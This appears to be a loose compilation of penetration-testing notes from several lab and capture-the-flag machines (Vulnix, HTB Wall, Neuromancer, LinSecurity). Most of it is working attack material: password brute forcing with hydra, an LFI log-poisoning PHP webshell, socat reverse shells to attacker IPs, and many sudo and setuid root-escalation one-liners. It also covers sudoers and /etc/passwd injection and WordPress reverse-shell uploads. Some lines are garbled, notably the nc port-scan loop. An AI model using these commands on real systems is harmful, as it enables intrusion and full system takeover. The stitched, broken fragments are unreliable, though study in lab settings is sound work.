netdiscover -r ip nmap -p- -sV ip /pChart2.1.3/index.php - vulnerable - searcsploit lfi
Since we have an LFI and we know that the server is running Apache, let’s search for the apache config file. After checking this, I managed to find the httpd.config file.
Great, we got many services running, notables are:
Port 22: SSH Port 25: SMTP Port 79: Finger Port 110: POP3 Port 111: RPCbind Port 143: IMAP Port 512: RSH (Remote shell) Port 513: RLogin Port 514: shell?
Let’s generate keys for SSH so we can login into vulnix!
Steps:
Create ssh key pair by running ssh-keygen. Create .ssh directory on the mounted share /home/vulnix/.ssh. Copy the content of the public key to /home/vulnix/.ssh. SSH into [email protected]victim_ip
Also due to the fact that there’s a secure_path set, we can’t manipulate the PATH variable (except by running sudo -e which we can’t).
Let’s edit the file and update /home/vulnix so we’re able to
Restart the VM and remount the shared directory. We can upload a local exploit to gain root, or just copy /bin/bash and give it setuid permissions.
We’ll run bash with -p flag to keep the original file’s permissions.
By using sudoedit /etc/exports, it’s possible to add another share into the export list, one which uses the no_squash_root option; which prevents root users being remapped to the nobody user:
Port 111 — Enumerating RPC — rpcbind 2–4 RPC service is running, so we can enumerate further using rpcinfo. [email protected]:~# rpcinfo -p 192.168.1.33
nmap -sU -sT -p 2049 192.168.1.33
$ apt-cache search showmount nfs-common - NFS support files common to client and server $ apt-get install nfs-common
Enumeration is important, without knowing there’s a user called user you most likely won’t be able to solve this VM. Doesn’t matter which service you use, you can enumerate SMTP, Finger, NFS, …
showmount --exports 192.168.1.33 Export list for 192.168.1.33: /home/vulnix * Lets mount the remote share on our local machine. [email protected]:~# mkdir /tmp/nfs [email protected]:~# mount -t nfs 192.168.1.33:/home/vulnix /tmp/nfs
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update - this is for add user in to sudoers list
linux permissions r = read permission w = write permission x = execute permission
= no permission
Number Permission Type Symbol 0 No Permission --- 1 Execute --x 2 Write -w- 3 Execute + Write -wx 4 Read r-- 5 Read + Execute r-x 6 Read +Write rw- 7 Read + Write +Execute rwx
'764' absolute code says the following:
Owner can read, write and execute Usergroup can read and write World can only read
u user/owner g group o other a all
Adds a permission to a file or directory
Removes the permission
= Sets the permission and overrides the permissions set earlier.
Changing Ownership and Group For changing the ownership of a file/directory, you can use the following command:
chown user
In case you want to change the user as well as group for a file or directory use the command
chown user:group filename
User rights/Permissions The first character that I marked with an underscore is the special permission flag that can vary. The following set of three characters (rwx) is for the owner permissions. The second set of three characters (rwx) is for the Group permissions. The third set of three characters (rwx) is for the All Users permissions. Following that grouping since the integer/number displays the number of hardlinks to the file. The last piece is the Owner and Group assignment formatted as Owner:Group.
==============================================
htb wall
one method: nmap -sC -sV 10.10.10.157
dirb ip
monitoring
change request in to post method
centreon post request api/
centreon/api/index.php?action=authenticate
hydra -l admin -P /usr/share/wordlists/rockyou.txt ip http-post-form "/centreon/api/index.php?action=authentication:username=^USER^&password=^PASS^:Bad Credentials" -V
python -c 'import pty; pty.spawn("/bin/bash")'
on victim attacekr mode socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
on kali listen mode socat file:tty,raw,echo=0 tcp-listen:4444
PHP reverse shell The file name shell.php.png was used to bypass the web application filtering, the file was still executed as PHP (likely due to incorrectly configured Apache MIME types). A reverse shell successfully connected back to a netcat listener.
Hmm. What do we have here? /freeside/ looks interesting.
There’s another web-related port, 3000/tcp and ntopng is running behind it.
/turing-bolo/ has something that finally looks like an attack surface.
LFI vulnerability
PHP Injection There’s a Local File Inclusion (LFI) vulnerability with the bolo parameter in bolo.php, demonstrated below.
All four files case.log, molly.log, armitage.log, and riviera.log are available on the server, indicating the presence of the LFI vulnerability.
How can I inject PHP into the server?
A quick search in Google for “postfix log location” seems to suggest the logs are at /var/log/mail.log. This plays well into our hands because of the .log extension. Let’s explore this path of attack. ip/bolo.php?bolo=../../../../var/log/mail
Long story short. I notice /bin/screen is a symbolic link to /bin/screen-4.5.0, which is setuid to root. Like they always say, Google is your best friend.
41154 - 4.5 screen
now move to next machine /structs2_2.3
Next Attack: Neuromancer
nc and socat are available on the machine
for port scanning
for p in $(seq 1 65535); do nc -nvzwl ip $p 2>&1; done| grep open >&1; done | grep open5); do nc -nvzw1 ip $p 2>
This is a command interpreter (shell). So by running sudo ash we can get a root shell.
whoami;id
awk
AWK is a special-purposeprogramming language designed for text processing and typically used as a data extraction and reporting tool. Since we can run awk using we sudo, we can easily escalate our privileges to root.
sudo awk 'BEGIN {system("/bin/sh")}'
bash
Bash is a Unix shell and command language. As with ash we can abuse our sudo rights to privesc.
The Bourne shell (sh) is a shell, or command-line interpreter, for computer operating systems.
sudo sh
csh
The C shell (csh or the improved version, tcsh) is a Unix shell. As with for example sh we can use it to escalate to root.
sudo csh
curl
We can abuse curl in order to overwrite files as root. By creating a simple setuid binary on my machine, using curl to fetch the program and overwriting an already setuid binary owned by root on the target system, we can get a root shell.
Setuid binary
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
Compile this program and start a python SimpleHTTPServer and go to the victim machine and fetch the file using curl.
Dash is an acronym for Debian Almquist shell (dash). It is a Unix and Linux shell which is much smaller than bash but still aiming at POSIX-compliancy. As with sh, bash etc. we just sudo dash and get a root shell.
sudo dash
ed
ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files. But can also execute commands from inside ed. Beacuse of this, root shell is really straight forward.
sudo ed !/bin/sh
env
env is a shellcommand for Linux, Unix, and Unix-like operating systems. It can be used to print a list of the current environment variables, or to run another program in a custom environment without modifying the current one.
sudo env /bin/sh
expect
Expect is a program that "talks" to other interactive programs according to a script. Following the script, expect knows what can be expected from a program and what the correct response should be.
Find is a command for recursively filtering objects in the file system based on a simple conditional mechanism. You can use find to search for a file or directory on your file system. Find do also have an exec parameter which we can abuse to escalate our privileges.
sudo find . -exec /bin/sh \; -quit
ftp
By issuing the command ftp without any parameters, we can run commands from within ftp.
sudo ftp !/bin/sh
less
We can execute commands from inside less. sudo less /etc/profile !/bin/sh
man
As above, we can execute commands from inside of man.
scp allows files to be copied to, from, or between different hosts. It uses ssh for data transfer and provides the same authentication and same level of security as ssh.
Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many different purposes - including giving us a root shell!
On the attacker machine: socat file:tty,raw,echo=0 tcp-listen:1337
On the victim machine: sudo socat tcp-connect:192.168.1.142:1337 exec:sh,pty,stderr,setsid,sigint,sane
ssh
We can use the ProxyCommand option to spawn an interactive shell.
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi
As with man etc. we can execute commands from inside of vi.
sudo vi :!/bin/sh
zsh
The Z Shell or zsh is an interactive UNIX shell and powerful command-line interpreter for scripting language including shell scripting. Since it's a interactive shell we can easily get a root shell.
sudo zsh
pico
Pico is a simple, display-oriented text editor based on the pine message composer.
sudo pico ^R^X reset; sh 1>&0 2>&0
rvim
Depending on how rvim was compiled, we can spawn a root shell. In this case rvim was compiled with Python support.
We can abuse the help function of git to get code execution as root.
sudo git help statu !/bin/sh
script
Script command records a shell session for you so that you can look at the output that you saw at the time and you can even record with timing so that you can have a real-time playback. It is really useful and comes in handy in the strangest kind of times and places.
But this can obviously be abused to get a root shell.
sudo script -q /dev/null
Exploiting Crontab
Enumerating the box we find the following script running as a cronjob.
#!/bin/bash
for i in $(ls /home); do cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *; done
This is a backup script taking everything from a users home dir, compressing it using tar and saving it to /etc/backups.
The problem with tar is that when using wildcards an attacker can inject he's own arguments.
The following is taken from the man page (man tar):
--checkpoint[=NUMBER] display progress messages every NUMBERth record (default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint
The --checkpoint-action option will specify a program that will be executed when the checkpoint is reached. Basically allowing us arbitrary command execution
Enmerating the machine for setuid binaries we find the following:
find / -perm -4000 2>/dev/null
xxd
xxd is owned by root and the setuid bit is set. By running this program we will run in the context of root, possibly giving us a way to escalate our privileges. It can however only be ran by root or members of the group "itservices" - exactly the group susan is a member of!
Let's dump /etc/shadow!
xxd /etc/shadow | xxd -r
NFS Share With R/W Permissions
Doing a nmap scan against the machine reveals that NFS is running. Let's first see if we can find any open shares which we can mount.
showmount -e 192.168.1.140
Awesome! Let's mount the share to /mnt/peter.
mount 192.168.1.140:/home/peter /mnt/peter
Looking at the UID and GID we see 1001/1005. This mean that I don't have that specific group and user on my system, so even if the share now is mounted I can't write files to the share.
To circumvent this, let's create a user with a UID of 1001 and a group with the GID 1005, and then change to that user and try to write a file.
groupadd --gid 1005 peter useradd --uid 1001 --gid 1005 peter su peter pwd
So, how do we utilize this to escalate to peter? How about generating a SSH key and adding that to peter's authorized_keys? Let's try.
Let's first generate a new SSH key.
$ ssh-keygen
Now, let's create a .ssh directory inside peter's home directory (on the share) and add the public key we just generated to authorized_keys.
Looking at the groups peter is added to we see docker. This is a really powerful group and there's ton of information on the internet on how to privesc using the docker group.
The Docker Hub already have an image which we can use to get a root shell, called "rootplease".
docker run -v /:/linsecurity -i -t chrisfosterelli/rootplease
The end of the URL, “php?page=tools.html” looks like we could do some directory traversal with it. Let’s give it a shot and see if we can print out /etc/passwd.
After escaping the restricted shell, we export “/bin/bash” as our SHELL environment variable and “/usr/bin” as our PATH environment variable so that we can run Linux commands properly.
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
sudo -l
/usr/bin/git
sudo git help add
!/bin/bash
So, I tried to login to this SSH service using the extracted credentials and I succeeded. But I can not run any Linux command. This happened because the shell is restricted shell. So, I tried to escape it using VI editor.
After spending some time exploring, we got an idea to add a malicious PHP code (available inside kali: /usr/share/webshells/php) in index.php of beez3 template for getting reverse shell as shown below.
After some time thinking, it suddenly strikes us to check the /var/mail folder. Maybe it might contain something, and our instinct was right. We have found some credentials.
Username- Charles Password- ^xHhA&hvim0y
one exploit through adding sudoers, cronjobs and /etc/passwd
sudo -l echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Therefore, I Quickly checked for LFI Vulnerability by obtaining the /etc/passwd file as shown below.
file=/var/log/ngnix/access.log Let’s capture the request of the Nginx Access log file using Burpsuite. Here we will be using LFI to exploit apache access log.
In place of the file path, we have injected a Code to get the command line access by making a GET request to the Server.
<?php system($_GET['cmd']) ?>
So, I tried to view many files like : /etc/passwd, /etc/shadow, & /var/log/nginx/access.log. I found that some of them can be viewed (passwd & access.log).
To verify that it is working or not, we have added a new parameter to the URL i.e &cmd=id. Therefore from the output, it confirms we have successfully executed the command on the server. /var/log/ngnix/error.log&cmd=id
whatweb ip wpscan --url http://ip I found that there is an interesting directory called “ipdata” with directory listing option enabled.
After viewing this directory using firefox, I found that it contains packet capture file called “analyze.pcap”.
After downloading, opening, and analyzing the file using wireshark, I found that it contains a request to the WordPress admin area. That request contains the credentials for the WordPress.
use exploit/unix/wepapp/wp_reflexgallery_file_upload
set rhosts 192.168.19.131 exploit
So, we can execute a file using tcpdump, so we use the following command to execute “ls -al /root” command. Now the command will be executed only when tcpdump captures a packet.
After starting tcpdump, in a new terminal, we connect to the target machine through SSH. Now we send a TCP packet to the 127.0.0.1 using netcat. We had to use this locally as we started tcpdump on the loopback interface.
nc -v -z -n -w 1 127.0.0.1 1
As soon as we send the packet, our command is executed and we can see all the files inside “/root” directory. Inside “/root” directory, we find a file called “flag.txt”. We are again going to use tcpdump command to open “flag.txt” and are able to get the final flag.
From here, I have to upload a reverse webshell to the server so that I can run commands and tried rooting it. There are many ways I can follow to do this, like using metasploit module (exploit/unix/webapp/wp_admin_shell_upload) or uploading it by editing the themes or Plugins “PHP” files.
exploit/unix/webapp/wp_admin_shell_upload
/usr/share/webshells/php/php-reverse-shell.php
Wordpress Shell
3- Visit appearance –> Editor .
4- Select “404.php” theme file.
5- paste the updated content of “php-reverse-shell.php” on the text area and press “Update File” button.